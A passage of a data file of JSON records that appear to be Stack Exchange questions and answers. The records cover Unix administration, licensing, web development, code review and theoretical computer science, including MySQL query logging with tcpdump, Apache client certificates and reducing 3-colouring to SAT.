chipset for the job and use that everywhere. "  } 
{  "id": "_unix.368761"  , "question": "I want to record down all write/change query except SELECT, I hope following script online but it doesn't contain timestamp, source and destination IP address, anyone have a better solution for this? tcpdump -i eth0 -s 0 -l -w - dst port 3306 | strings | perl -e '                                                                                              while(<>) { chomp; next if /^[^ ]+[ ]*$/;  if(/^(UPDATE|DELETE|INSERT|SET|COMMIT|ROLLBACK|CREATE|DROP|ALTER)/i) {    if (defined $q) { print $q\\n; }    $q=$_;  } else {    $_ =~ s/^[ \\t]+//; $q.= $_;  }}'"  , "title": "tcpdump mysql query with timestamp, source and destination IP"  , "tags": "perl;mysql;tcpdump"  } 
{  "id": "_opensource.5544"  , "question": "From Octave's FAQ, Code written using Octave's native plug-in interface (also known as a  .oct file) necessarily links with Octave internals and is considered a  derivative work of Octave and therefore must be released under terms  that are compatible with the GPL....A program that embeds the Octave interpreter (e.g., by calling the  octave_main function), or that calls functions from Octave's  libraries (e.g., liboctinterp, liboctave, or libcruft) is considered a  derivative work of Octave and therefore must be released under terms  that are compatible with the GPL.Here, 'terms that are compatible with the GPL' appears repeatedly.At first, I thought that it can be any license in the list of GPL-compatible licenses.However, the part of ... is considered a derivative work of Octave and therefore must be released under terms that are compatible with the GPL confuses me.As far as I know, derivative work of GPLed one should follow GPL itself, not compatible one.What are 'terms that are compatible with the GPL'?"  , "title": "What does 'terms that are compatible with the GPL' mean?"  , "tags": "licensing;gpl;license compatibility"  , "accepted_answer": "This advice from the Octave project is in line with the GNU project's own FAQ:You have a GPL'ed program that I'd like to link with my code to build a proprietary program. Does the fact that I link with your program mean I have to GPL my program?Not exactly. It means you must release your program under a license compatible with the GPL (more precisely, compatible with one or more GPL versions accepted by all the rest of the code in the combination that you link). The combination itself is then available under those GPL versions.This FAQ item directly applies to your case, but doesn't fully answer your question by itself, so I'll explain further.The GPL imposes a particular set of requirements on the distribution of derivative works. Importantly, a few of those requirements include:downstream derivatives must, as a whole, be licensed under the GPLthe licensing terms of downstream derivatives may not impose any additional requirements beyond what is required by the GPLSo, your own creative work may be licensed under any terms that do not cause issue when they are upgraded to the terms of the GPL as part of the combined work (original GPL work + your work) that you distribute. In other words, you may license your work with terms that are a subset of the GPL terms.Visually, we can show how the terms of your work (left) combine with the GPL terms of the original work (middle) to create the combined terms (right):In the case where your works is licensed under a subset of GPL terms, there is no issue complying with the requirement that the combined work be licensed under GPL terms. Your work's terms are GPL-compatible. In the second case, where your work is licensed under terms that are not a subset of GPL terms, some rogue term(s) will exist in conflict with the GPL's requirement that the combined work be licensed under the GPL, which cannot include any additional non-GPL terms."  } 
{  "id": "_webmaster.87537"  , "question": "I have added Schema Aggregate Rating Reviews to my site and I can confirm that Google's Rich Snippet Testing Tool has no issues with my code. After waiting some time Google has enabled review stars on all pages apart from the home page.Using Google's Site Search Command: site:http://www.example.com reveals:Question:How do I enable rich snippets on the homepage so Google displays review stars using Schema Aggregate Rating?"  , "title": "Homepage Rich Snippet Star Ratings not showing in Google SERP"  , "tags": "google search;rich snippets;schema.org;homepage"  , "accepted_answer": "Google Search doesnt seem to support Rich Snippets for homepages.This is currently not documented, but confirmed by the Google employee @methode (on SO):We (Google) don't accept rich snippets for homepages; rich snippet annotations should be placed on leaf pages."  } 
{  "id": "_unix.370089"  , "question": "I am installing a program following instructionsWhat you need for a manual installation is the subdirectory MaTiSSe-vx.x.x under the release directory (chose the version x.x.x you want). Just copy this subdirectory and make a link to the wrapper script MaTiSSe.py where your environment can find it. I don't know how to make it with command line. "  , "title": "Make a link to the file so that enviroment can find it"  , "tags": "software installation;symlink"  , "accepted_answer": "I would interpret the instructions as create a link to the wrapper script in a place where it would be accessible through your $PATH.If your path contains something like/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11R6/bin:/usr/local/binI would create the link in, e.g., /usr/local/bin:ln -s /some/path/MaTiSSe-vx.x.x/wrapper-script /usr/local/bin/matisseAlternatively, just add the MaTiSSe-vx.x.x directory to your path in ~/.bash_profile or ~/.bashrc:PATH=$PATH:/some/path/MaTiSSe-vx.x.xand then use the name of the wrapper script on the command line."  } 
{  "id": "_hardwarecs.2670"  , "question": "I am looking for a security camera that I can use to view what's going on in my apartment, without having to use a third party website/app. I am currently using one that requires me to connect to a website based in China, and I don't really trust the parent company not to snoop. "  , "title": "Security camera that doesn't use a third party"  , "tags": "video camera;home security"  } 
{  "id": "_unix.362234"  , "question": "Booting on my Ubuntu 17.04 fails, and I want to debug it.The booting fails randomly and I believe it is due to a race condition.Can I ask systemd not to parallelized any tasks, so I can see if this causes the boot to fail predictably?"  , "title": "systemd: serialize boot"  , "tags": "systemd;parallelism"  } 
{  "id": "_softwareengineering.185152"  , "question": "Context:I recently had to deal with a class file generated by XSD.exe. It was 3500 lines long with ridiculously-verbose class / variable names (think someRidiculouslyLongPrefixThenMaybeOneThingUniqueAtTheEnd - difficult to compare at a glance with someRidiculouslyLongPrefixThenMaybeOneOtherThingChanged) and annotations all over the place. Bottom line is it took me ages to work out what the heck was going on. I read it and thought I would never put my name next to something so... Un-clean.Question:1) Is it bad practice to mess with generated code (i.e. clean it).2) Would it be better practice to write a mapper to map the generated classes to my own nice, clean classes (which I could then get to work with, quite happily)?EDIT:Thanks for all the comments. If I was actually going to do anything interesting with it (i.e. if there were domain objects which were anything but transport objects) then I think I'd map them to 'cleaner' classes, which I'd have to do anyway to get any kind of functionality out of them. In this case the classes are effectively DTOs so perhaps it makes sense that the naming matches the corresponding elements. As stated, I don't need to touch it - just to call accessors / mutators before passing the data down to another layer for processing.For now, I think I'll leave them well alone."  , "title": "Cleaning Up Generated Code: Refactor or Map?"  , "tags": "refactoring;clean code"  , "accepted_answer": "The danger with refactoring generated code to clearn and tidy it is that if it is regenerated again by the tool by yourself or another developer then the changes would be lost.Your team could get yourselves in a position where you would be generating the code in another file and copying it into the cleaned version and refactoring to apply changes which just takes time and resource. (I've been there with the original version of Entity Framework.)If you cannot live with the names generated, either change the source it generates from or do as you suggest in #2."  } 
{  "id": "_unix.73945"  , "question": "I want to implement mutual authentication (two - way ) with apache web server.References :   1.Failed to sign CSR with the CA root key   2.Firefox error message when adding client certificate signed by CAafter many steps :Configuring Apache 2.0 SSL to accept https by editing ssl.conf .Creating a Certificate Authority using OpenSSL & importing it to the web browser [link]Creating a Web Server Certificate  & sign it by CA & put it as apache certificate.[link]Creating a Client Certificate & sign it by CA & export it as PKCS#12 format [link]& import it to web browser I now have an access with https to the server but for all users . I want just the authorized users who I gave them a signed certificate by CA to access to web pages on my server . I needed to edit ssl.conf in    /etc/httpd/conf.d/ssl.conffollowing this tutorial , I did this to ssl.conf :SSLVerifyClient requireSSLVerifyDepth 2Update#1 :and of course I had set the certificate to the signed one by CA :#   Server Certificate:#SSLCertificateFile /etc/pki/tls/certs/localhost.crtSSLCertificateFile /var/www/sslConf/server.crt#   Server Private Key:#SSLCertificateKeyFile /etc/pki/tls/private/localhost.keySSLCertificateKeyFile /var/www/sslConf/server.keyand as a result I got this message and after pressing ok this message  (in firefox). what's the mistake I had committed ?"  , "title": "Configuring Apache to Require a Client Certificate"  , "tags": "authentication;apache httpd;certificates"  , "accepted_answer": "Look into the Apache logs to see what is wrong. It looks like apache isn't able to verify the client certificate.Do you have the SSLCACertificateFile directive set correctly? This is necessarry, apache cannot verify certificate otherwise."  } 
{  "id": "_cstheory.36247"  , "question": "In many textbooks the Chomsky-Schtzenberger enumeration theorem is stated as that the characteristic formal power series of a language is $\\mathbb N$-algebraic, if the grammar is unambigious. In some other books the formulation is given, that the structure describing function $$f_L(x)=\\sum_{n \\in \\mathbb N}l_nx^n$$ is algebraic over $\\mathbb Q$ iff the grammar is unambigious, where $l_n = \\vert \\Sigma^n \\cap L \\vert$.I understand that by replacing every terminal by the same terminal in the system of equations associated with a grammar $G$ it is possible, to obtain the structure describing function, but I couldn't find a proof anywhere,(and don't know how I could construct one)  that then the (analytical) power series $f_L(x)$ is not transcendental. "  , "title": "Chomsky Schtzenberger enumeration theorem"  , "tags": "algebra;grammars"  , "accepted_answer": "There is a proof in the book of Kuich & Salomaa, Semirings, Automata, Languages and another one in the paper of Panholzer, Grbner Bases and the Defining Polynomial of a Context-free Grammar Generating Function, J. of Automata, Languages and Combinatorics 10 (2005), 7997.   I wish there were a simple and clear proof of the result."  } 
{  "id": "_unix.118586"  , "question": "How is it ensured that Linux software-RAID superblock(for example version 1.2) can be created at 4KiB from the beginning of the drive? According to manual of mdadm it is. I mean isn't there a hazard that this area on the disk is already occupied for example by the GRUB2 stage 1.5?In addition, if software-RAID is created using partitions for examplelike this:mdadm --create --verbose --level=1 --metadata=1.2 --chunk=64 --raid-devices=2 /dev/md0 /dev/sdb1 /dev/sdc1..then how should one ensure that for example MBR/GPT is mirrored or bootloader data is mirrored which both are located outside of partitions?"  , "title": "Linux software-RAID and bootloader"  , "tags": "mdadm;software raid"  } 
{  "id": "_unix.217440"  , "question": "I am trying to monitor a remote, embedded host that is writing output to a file: /var/log/myapp.logThis host may lose power for hours. The app may be killed and restarted.On my local machine, I want to capture the myapp.log contents in real-time as it gets updated.The basic script I have does this:ssh user@remote_host_ip 'tail -f /var/log/myapp.log' | tee -a ~/logs/myapp.logThis works for the simple case where the remote host is already up and can be SSH'd into. I would like something that will continuously try to SSH into the remote host over and over until it succeeds, and then run the tail -f ... command and capture the output locally. I want to avoid having to rerun this program if the remote host loses power.From what I have searched so far, it is sounding like I may want to use some combination of autossh and screen.I tried playing with the rscreen script included with autossh but have not had much luck. Here is the modified script, which takes another argument for the command to run on the remote host. I called the modified script rscreen_myapp:#!/bin/sh## MODIFIED (not working) sample script to use autossh to open up a remote screen# session, or reconnect to an existing one.## $Id: rscreen,v 1.4 2002/05/07 17:54:13 harding Exp $autossh -M 20004 -t $1 screen -e^Zz -D -R -X $2But when I run: ./rscreen_myapp remoteuser@remotehost tail -f /var/log/myapp.log, I get:Agent pid 28990Identity added: /home/localuser/.ssh/id_rsa (/home/localuser/.ssh/id_rsa)No screen session found.Connection to 10.10.3.9 closed.I am struggling with screen and admittedly confused by it... What am I doing wrong? Am I not using the -X argument properly? Or do I need to do something else altogether? Do I need to somehow make use of the screenlog.n files? (I would rather avoid the .n unique identifier and prefer just having myapp.log on the local machine.)Ultimately, this script/program would run automatically and in the background on my local machine. So as long as the local machine is on, it will try to capture/mirror the log from the remote machine whenever possible and indefinitely."  , "title": "How to capture tail -f output from remote host indefinitely"  , "tags": "ssh;logs;gnu screen;monitoring"  } 
{  "id": "_softwareengineering.243229"  , "question": "Among computer scientists and programmers, there's the common habit of naming people in the context of security protocols e.g. Alice, Bob or Eve. Descriptions of more elaborate attack vector sometimes refer to Charlie (as does this XKCD strip), but is there a convention for additional participants?"  , "title": "Naming in Security Protocols: Alice, Bob and Eve"  , "tags": "security;naming;culture"  , "accepted_answer": "Alice and Bob were the first two described in Applied Cryptography.  These are two people communicating and used a placeholder names.  Keeping with a convention makes it easier for people to remember what role they play in communication.Beyond Alice and Bob, the first letter of the name typically implies the role of the individual in the communication.C is sometimes a third person, but other times C is a Cracker.D is often a fourth person in communication.E can either be a fifth person, but often E has Evil intent.  Eve in particular is an Eavedropper.F is a sixth person... and so on.M becomes a Malicious attacker (as opposed to Eve, who just wants to eavesdrop).O is an Opponent, similar to M, but not necessarily malicious.P needs to have something Proven and V needs to have something Verified.S is for Sybil which is a book about the treatment of a woman named Sybil Dorsett who had dissociative identity disorder.  In the context of security names, Sybil is a particular type of attacker who uses many identities often in combination with a system that uses reputation.T is Trusted.W can either be a Warden who guards Alice and Bob or a Whistleblower with insider information.Further reading:Alice and Bob (Wikipedia)Metasyntatic variable (Wikipedia)Placeholder name (computing specific) (Wikipedia)"  } 
{  "id": "_codereview.115784"  , "question": "I'm using a method to make initialize the attributes of my objects, and this method is called from both constructor.What it does is, if no correct currency has been passed, choose  by default.I'm just wondering if what I've done below is correct in terms of design.class Prix{    double valeur;    string monnaie;    public Prix(double valeur, string monnaie)    {        if (monnaie.Equals() || monnaie.Equals($))        {            this.valeur = valeur;            this.monnaie = monnaie;        }        else        {            defaultConstr(valeur);        }    }    public Prix(double valeur)    {        defaultConstr(valeur);    }    private void defaultConstr(double valeur)    {        this.valeur = valeur;        this.monnaie = ;    }}"  , "title": "Constructors for a class to represent a price in  or $"  , "tags": "c#;constructor"  , "accepted_answer": "You can invoke constructor overloads from each other as such:public Prix(double valeur, string monnaie)callspublic Prix(double valeur)by:public Prix(double valeur, string monnaie) : this(valeur)Therefore,You can simplify the exact same behaviour at least in terms of the final state as follows:class Prix{    double valeur;    string monnaie = ;    public Prix(double valeur, string monnaie)        : this(valeur)    {        if (monnaie.Equals() || monnaie.Equals($))        {            this.monnaie = monnaie;        }    }    public Prix(double valeur)    {        this.valeur = valeur;    }}EDIT 1:You also don't have to check and assign moannie if it is passed in as euro because it already has the value euro:class Prix{    double valeur;    string monnaie = ;    public Prix(double valeur, string monnaie)        : this(valeur)    {        if (monnaie.Equals($))        {            this.monnaie = monnaie;        }    }    public Prix(double valeur)    {        this.valeur = valeur;    }}"  } 
{  "id": "_webapps.39952"  , "question": "How can I move videos from one channel to another without re-uploading them?we are 5 friend and have 5 video channels in YouTube and after 6 years  we detect some videos for another channel that should move them to  another channels and total videos more than 1000 videos and videos  must be move more that 100 ....Are there any tools (online) for managing YouTube channels in such a fashion?"  , "title": "Moving videos from a YouTube channel to another one without re-uploading them"  , "tags": "youtube;file management"  } 
{  "id": "_softwareengineering.328187"  , "question": "I am trying test driven development for the first time (test first development, actually). I wrote down my specifications, then alternated writing tests, then code, writing the code to pass the latest test and not break prior tests. My code is doing input validation on a user-supplied file path:Does the path exist and is it a file?Is the file in a specific format?Does the file contain a specific field?Does the file have a feature where the field is set to a given value?This led me to write functions that return True/False for each condition, and tests for inputs leading to True and False outputs. However, there is some duplication between the functions (loading the file, etc.) and I could write a more streamlined function that combines all the checking. This is important in my case because the files can be large.Where I'm having issues:Do I also refactor the tests?If I have a single larger function that outputs True/False based on the sub-checks, how can I still test for the individual specific conditions?Should I instead raise Exceptions, and check that the correct exceptions are raised?"  , "title": "Modifying the tests and refactoring duplicate code in test driven development"  , "tags": "unit testing;refactoring;tdd;exceptions"  } 
{  "id": "_softwareengineering.196361"  , "question": "I'm writing a program to automatically make the draw for a competition. There are four objects: Debate Judge School Team Each Debate has two teams and a judge. Each team participates in three debates. With this, there are the following rules: 1) A team cannot face someone from their same school 2) A team cannot face another team from the same other school (As in if they play a team from a school once, they cannot play again against someone from that school) 3) A judge cannot come from the same school as a team they are judging.So how would I create a draw? A draw looks like a table (I just need the data, but when you write it it looks like this) with a column for judges and then three other columns for each round of debates (the three debates each team participates in).Right now I'm basically choosing a random team, finding an opposing team that hasn't played the school of the first team before and doesn't come from the same school and then finding a judge from neither of those schools. Then I do the same thing until I have all the debates. The problem is the program sometimes gets into ruts where there is no other team/judge that fits.  A human would then shift things around and try to find a way to move other judges around to figure it out, but how can I do that with a program. If I run the program again it figures it out just because it's random which teams it chooses for what. Basically, I'm wondering what the best solution is to the problem?"  , "title": "Best way to create draw with limitation"  , "tags": "java;design;design patterns"  , "accepted_answer": "I think you're close.  The trick is to start with the first team ('first' can be defined any way you want, including random) and make a list of all the available other teams, in some order.  Pair up the first team with the first of the available other teams.  Now look make a list of the available judges (again in some order), and pick the first available judge.Repeat the above for the next set.  At some point you won't have any second team to pick, or you'll be out of judges.  At that point you need to backtrack - unwind one of your previous decisions and move on to the next.For example, when you select team A, your choices are (B and C).  You select B and move on.  Later you discover that B was an unfortunate choice, so you revisit that choice and select C instead.The idea is called Depth First Search.  It's a lot easier than the Wikipedia page makes it out to be.I'd handle your challenge by assigning each team a random number then use that number for sorting them whenever I'm looking for the next available team or judge.  That way you'd get your random pairings and a way to backtrack and unwind.  (The goal is to correctly select the correct teams and judges in such an order that you get all the pairings you need, subject to the contest rules constraints).The only time you use Random() is when you're setting up the data.  The algorithm shouldn't use it."  } 
{  "id": "_computergraphics.5521"  , "question": "As a pet project, I'm trying to build a small app that visualizes 4D polytopes. I want to use the Wythoff Construction method, where the shape is generated kaleidoscopically by the interaction of 4 mirrors using a single movable generator vertex. I know how to create a reflection matrix from a hypersurface normal, what I am looking for is an simple way to generate all possible matrices generated by the interreflections of the set of mirrors.The brute force method would be something like:1: Create the initial set of mirrors and their matrices2: Reflect each matrix in each of the other mirrors, add to temp list3: Remove duplicates from temp list4: Add temp list to master list and remove duplicates5: Reflect each matrix in temp list through each mirror except its generating mirror    and add to new temp list6: Repeat from step 3 with new temp list, continue until no non-duplicates foundThis method will work but will involve a huge amount of redundant computation generating, checking, and discarding duplicates, especially in symmetry groups like the 120-cell / 600-cell which contain thousands of permutations. Does anybody know of a more elegant method of creating the full set?"  , "title": "Finding all possible reflection matrices for a given Wythoff construction"  , "tags": "algorithm;matrices;reflection;4d"  } 
{  "id": "_unix.207900"  , "question": "I use EduBOSS Linux 3.0. Since installation I still not update my OS. But I want to solve some Audio, Video and Graphics problems. To solve that problems I want update my BOSS Linux. sudo apt-get updateHit http://packages.bosslinux.in anokha Release.gpgHit http://packages.bosslinux.in eduboss-3.0 Release.gpgHit http://packages.bosslinux.in anokha Release        Hit http://packages.bosslinux.in eduboss-3.0 Release                           Hit http://packages.bosslinux.in anokha/main Sources                          Hit http://packages.bosslinux.in anokha/contrib Sources                      Ign http://ppa.launchpad.net anokha Release.gpg                              Hit http://packages.bosslinux.in anokha/non-free SourcesHit http://packages.bosslinux.in anokha/main i386 Packages                   Hit http://packages.bosslinux.in anokha/contrib i386 Packages                Hit http://packages.bosslinux.in anokha/non-free i386 Packages               Ign http://ppa.launchpad.net anokha Release                                  Hit http://packages.bosslinux.in eduboss-3.0/main Sources                    Hit http://packages.bosslinux.in eduboss-3.0/main i386 PackagesIgn http://packages.bosslinux.in anokha/contrib Translation-sa_IN            Ign http://packages.bosslinux.in anokha/contrib Translation-sa               Ign http://packages.bosslinux.in anokha/contrib Translation-enIgn http://packages.bosslinux.in anokha/main Translation-sa_IN               Ign http://packages.bosslinux.in anokha/main Translation-sa                  Ign http://packages.bosslinux.in anokha/main Translation-enIgn http://packages.bosslinux.in anokha/non-free Translation-sa_INIgn http://packages.bosslinux.in anokha/non-free Translation-sa              Ign http://packages.bosslinux.in anokha/non-free Translation-en              Ign http://packages.bosslinux.in eduboss-3.0/main Translation-sa_IN          Ign http://packages.bosslinux.in eduboss-3.0/main Translation-sa             Ign http://packages.bosslinux.in eduboss-3.0/main Translation-en             Err http://ppa.launchpad.net anokha/main Sources                               404  Not FoundHit http://dl.google.com stable Release.gpg            Hit http://dl.google.com stable ReleaseErr http://ppa.launchpad.net anokha/main i386 Packages  404  Not FoundHit http://dl.google.com stable/main i386 PackagesIgn http://ppa.launchpad.net anokha/main Translation-sa_INIgn http://ppa.launchpad.net anokha/main Translation-saIgn http://ppa.launchpad.net anokha/main Translation-enIgn http://dl.google.com stable/main Translation-sa_INIgn http://dl.google.com stable/main Translation-saIgn http://dl.google.com stable/main Translation-enW: Failed to fetch http://ppa.launchpad.net/nilarimogard/webupd8/ubuntu/dists/anokha/main/source/Sources  404  Not FoundW: Failed to fetch http://ppa.launchpad.net/nilarimogard/webupd8/ubuntu/dists/anokha/main/binary-i386/Packages  404  Not FoundE: Some index files failed to download. They have been ignored, or old ones used instead.How can I update BOSS Linux by terminal only?"  , "title": "How can I update or upgrade BOSS Linux by terminal?"  , "tags": "debian;command line;terminal;upgrade;jboss"  } 
{  "id": "_unix.20216"  , "question": "Is it safe to interrupt (Ctrl-C) a long running xfs_fsr job?I'm attempting to defragment a very large XFS volume."  , "title": "Is xfs_fsr safe to interrupt?"  , "tags": "xfs"  , "accepted_answer": "Like all filesystem manipulation tools, xfs_fsr takes care of leaving the filesystem in a consistent state, in case the machine crashes (due to a power failure, for example). Unless you're unlucky and encounter a bug, that is  filesystem drivers are more complex than they look, especially as they are written for speed.If you interrupt xfs_fsr cleanly (with any of the usual signals SIGINT, SIGHUP, SIGTERM or SIGQUIT), it takes care to write where it left off in /var/tmp/.fsrlast (or the file indicated with the -f option). So you can safely interrupt it with Ctrl+C, and restart it again with the same options later to complete the job."  } 
{  "id": "_webapps.107095"  , "question": "I don't know if there's any way to go about this but I've tried using =IMAGE() to show images of cells in a column that contain only hyperlinks of tracking numbers. I was hoping to make life easier for myself except this =IMAGE() makes the spreadsheet really cluttered. I was hoping to be able to similarly write something where you could roll your mouse over the hyperlink and have a temporary popup window show the hyperlink's contents; in this case, it would be the tracking number's contents shown. Is there any way to do this or is it impossible?"  , "title": "Google Sheets - Popup preview for Hyperlinks"  , "tags": "google spreadsheets;google apps script"  } 
{  "id": "_unix.17810"  , "question": "Possible Duplicate:What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'? I was wondering what relations and differences are between computerterminal and virtual  console/terminal?Quoted from WikipediaA computer terminal is an electronic or electromechanical hardware  device that is used for entering data into, and displaying data  from,  a computer or a computing system. Early terminals were inexpensive  devices but very slow compared to punched cards or paper tape for  input, but as the technology improved and video displays were  introduced, terminals pushed these older forms of interaction from  the  industry. A related development was timesharing systems, which  evolved  in parallel and made up for any inefficiencies of the user's  typing  ability with the ability to support multiple users on the same  machine, each at their own terminal.Quoted from wikipediaA virtual console (VC)  also known as a virtual terminal (VT)   is a  conceptual combination of the keyboard and display for a computer  user  interface. It is a feature of some operating systems such as  UnixWare,  Linux, and BSD, in which the system console of the computer can be  used to switch between multiple virtual consoles to access  unrelated  user interfaces. Virtual consoles date back at least to Xenix in  the  1980s.I thought computer terminal to be the hardware device, and virtual console is part of OS. But after reading the articles, I now think they are the same thing as part of OS, and computer terminal cannot be independent of OS.From further discussion on the two articles, is it true that eitherof them can be divided into text terminal and graphical terminal?As I understand from the articles, Terminal emulator and virtual console/terminal are different. Virtual console is a broader concept, including both text terminal and graphical terminal. Terminal emulator is just someemulator of text terminal running under graphical terminal? "  , "title": "Computer terminal and virtual console"  , "tags": "terminal;terminology"  } 
{  "id": "_unix.277977"  , "question": "My machine which OS is CentOS7 have to backup 50G data into MySQL. But, there is no space left on the device. But there are many spaces on /home. How can I make user that there are enough space for MySQL to store data. I think there is no space in /dev/mapper/centos-root, how can I move space to from /home to /.$ df -hFilesystem               Size  Used Avail Use% Mounted on/dev/mapper/centos-root   50G   50G   20K 100% /devtmpfs                 7.8G     0  7.8G   0% /devtmpfs                    7.8G   84K  7.8G   1% /dev/shmtmpfs                    7.8G  2.6G  5.2G  34% /runtmpfs                    7.8G     0  7.8G   0% /sys/fs/cgroup/dev/mapper/centos-home  500G   20G  480G   4% /home/dev/sda1                497M  241M  257M  49% /boottmpfs                    1.6G   16K  1.6G   1% /run/user/42tmpfs                    1.6G     0  1.6G   0% /run/user/0tmpfs                    1.6G  4.0K  1.6G   1% /run/user/1000And g++ compile code failed.$ g++ test.cppCannot create temporary file in /tmp/: No space left on device[1]    6642 abort (core dumped)  g++ test.cpp"  , "title": "No space left on device on CentOS7"  , "tags": "centos;mysql;devices;block device;g++"  } 
{  "id": "_unix.218556"  , "question": "My hardware screen on my laptop turns white, when the console times out and blanks, upon idling.I would expect it to normally turn black or turn off the screen entirely.When clicking a button, the screen wakes up and presents the console as normal.There are no relevant BIOS settings.I am running Void Linux on an HP EliteBook 8530p laptop and I don't use a desktop environment, only console CLI, thus it's not a problem with X.Is it a setting that determines how the blanking works?  Is it possible to change the behaviour of the blanking, so it turns off the screen until a key is pressed?If none of the above, can you point me in a direction where I can find out if it's a hardware error?"  , "title": "Console timeout blanks to white instead of black"  , "tags": "linux;console;screensaver"  } 
{  "id": "_datascience.12673"  , "question": "Many have shown the effectiveness of using neural networks for modeling time series data, and described the transformations required and limitations of such an approach. R's forecast package even implements one approach to this in the nnetar function. Based on my reading, all of these approaches are for modeling a single outcome variable based on its past observations, but I'm having trouble finding a description of a neural-network-based approach that also incorporates independent predictor variables (a sort of ARIMAx analogue for neural networks). I've found references to Nonlinear autoregressive exogenous models (NARX), which seem like they should be what I'm looking for, but all the reading I've been able to find talks more about using this approach for multi-step-ahead prediction of a univariate series. Can anyone point me in the right direction on this? For bonus points, does anyone know of an implementation of what I'm looking for in R?"  , "title": "Neural Network Timeseries Modeling with Predictor Variables"  , "tags": "r;neural network;time series"  } 
{  "id": "_unix.374442"  , "question": "BTRFS disk mounted like this:  /dev/sdb        /mnt/disk1     btrfs   noexec,nofail,defaults,compress-force=lzo       0 0disk1 is shared via cifs with 640 permissions. I can't launch any application/script because permissions and noexec mount parameter but when I map this share in windows I can change permissions - right click on file -> preferences -> security tab and add executable permission and thats all right because I am the owner of changing file but I can't understand why from now I can launch exe file (windows app. will launch) on noexec btrfs filesystem ?Debian 9 with btrfs-progs 4.7"  , "title": "Debian filesystem permissions"  , "tags": "permissions;filesystems;btrfs"  , "accepted_answer": "The noexec flag only applies to the OS which is using that fstab entry to mount the relevant partition.  Windows does not use fstab and indeed doesn't care about such flags."  } 
{  "id": "_unix.296790"  , "question": "I'm configuring a VGA passthrough on Arch for a virtual Windows machine, and when I use lspci | grep Audio, I get two different devices with different PCI IDs. They look very similar, and I'm not sure which one to pass through. The output of the above command is this: 00:03.0 Audio device: Intel Corporation Xeon E3-1200 v3/4th Gen Core Processor HD Audio Controller (rev 06)00:1b.0 Audio device: Intel Corporation 8 Series/C220 Series Chipset High Definition Audio Controller (rev 05). I don't know if it's arbitrary or if I have to pass a specific one through. Please help."  , "title": "Not sure which audio device to pass through via OVMF"  , "tags": "arch linux;audio;virtual machine;pci"  } 
{  "id": "_unix.266139"  , "question": "I'm running Ubuntu in virtual machine and what I've noticed is that the shortcuts to characters (like : ; ) are different than shortcuts used in windows. I'm guessing this has to do with OS (or is this just a VMWare thing?) so my question is if it's possible to remap them so I could be using the same shortcuts in Windows and Linux?"  , "title": "Different characters for some keyboard keys"  , "tags": "keyboard layout"  , "accepted_answer": "You most probably have set the wrong keyboard layout. See here to get started:https://askubuntu.com/questions/459617/keyboard-layout-isnt-kept-upon-reboothttps://askubuntu.com/questions/471849/change-keyboard-layout-permanently-in-xubuntu-14-04"  } 
{  "id": "_webapps.14603"  , "question": "Is there any way I can get all of the links associated with my j.mp account and arrange them so that the links with the most clicks are at the top?"  , "title": "Sort all my j.mp links by most clicked"  , "tags": "url shortening;sorting"  } 
{  "id": "_unix.218539"  , "question": "I am trying to install a printer driver package (Canon Pixma MX437 cnijfilter-mx430series-3.70-1-deb) on my system running Debian 8.1 3.16.0-4-amd64 Jessie xfce.  I get a dependency error that package libtiff4 is not installed:dpkg: dependency problems prevent configuration of cnijfilter-mx430series: cnijfilter-mx430series depends on libtiff4; however:  Package libtiff4 is not installed.dpkg: error processing package cnijfilter-mx430series (--install): dependency problems - leaving unconfiguredErrors were encountered while processing: cnijfilter-mx430seriesWhere I can find this package?"  , "title": "Debian libtiff4"  , "tags": "libraries;backports"  } 
{  "id": "_codereview.162958"  , "question": "I have an ASP.NET CORE API app and now I have an endpoint like:[HttpPost(receipt)][ValidateModel][SwaggerResponse(200, typeof(string))][SwaggerResponse(400, typeof(string))]public async Task<IActionResult> SendReceipt([FromBody] EmailDetails emailDetails){    try    {        var requestId = HttpContext.TraceIdentifier;        var connectionId = HttpContext.Features.Get<IHttpConnectionFeature>().ConnectionId;        await _emailSender.SendEmailAsync(emailDetails, requestId, connectionId);        return Ok($The mail has been sent successfully.);    }    catch (Exception ex)    {        _logger.LogError(ex.Message);        return BadRequest($Error sending email: {ex.Message});    }}While Model looks like:public class EmailDetails{    [Required]    [EmailAddress(ErrorMessage = Invalid Email Address)]    public string Email { get; set; }    [Required]    public string Subject { get; set; }    [Required]    public string Receipt { get; set; }}So for now as you can see I'm getting an image in Base64 encoded string and then I convert it to the image. Is it a good idea to get an image in that way? Maybe should I use some alternative solution?If you need any assistance, please let me know."  , "title": "Send image between apps"  , "tags": "c#;image;api;base64;asp.net core"  } 
{  "id": "_cs.13082"  , "question": "I'd like to reduce 3 colorability to SAT. I've stuffed up somewhere because I've shown it's equivalent to 2 SAT.Given some graph $G = (V,E)$ and three colors, red, blue, green. For every vertex $i$, let the boolean variable $i_r$ tell you whether the $i$-th vertex is red (or more precisely, that the $i$-th vertex is red when $i_r = 1$). Similarly, define $i_b$ and $i_g$.Suppose two vertices $i$ and $j$ were connected by an edge $e$. Consider the clause        \\begin{align}   (\\bar i_r \\vee \\bar j_r)  \\end{align}        If we demand the clause is true, it means that the vertices cannot both be red at the same time. Now consider the bigger clause $\\phi_e$        \\begin{align}   (\\bar i_r \\vee \\bar j_r)\\wedge(\\bar i_b \\vee \\bar j_b)\\wedge(\\bar i_g \\vee \\bar j_g)  \\end{align}        which, if true, demands that the vertices $i$ and $j$ aren't both the same color. By itself, this clause is in 2-SAT.For every edge $e \\in E$, I now make a clause $\\phi_e$ of the above form and put them all together using $\\wedge$'s          \\begin{align}              \\phi = \\wedge_{e \\in E} \\phi_e           \\end{align}Thus, for the entire graph, I've come up with a 2SAT formula which is equivalent to 3 coloring.This is obviously wrong, but I can't tell where I've screwed up."  , "title": "3 Colorability reduction to SAT"  , "tags": "complexity theory"  , "accepted_answer": "With your modeling, setting $i$, $i_r$, $i_g$ and $i_b$ to false for all vertices yields a solution of the SAT problem and this is not a solution of the graph coloring problem.You need to add clauses to say that each vertex is blue or green or red, namely$(i_r\\vee i_g\\vee i_b)$.Then it becomes a 3-SAT problem.Note that if a vertex is assigned to more then one color, then we can take any of its colors and obtain a 3-coloring."  } 
{  "id": "_webmaster.22870"  , "question": "I recently purchased a hosting plan from a provider.They gave me temporary url of accessing the hosting space, controlpanel, ftp details.Now when I deleted all the files from public_html and put up a index.html, then on clicking on the temporary url,everytime a files gets downloaded (with download name).What can be the issue?"  , "title": "New webserver offering HTML for download, not for browsing"  , "tags": "web hosting"  } 
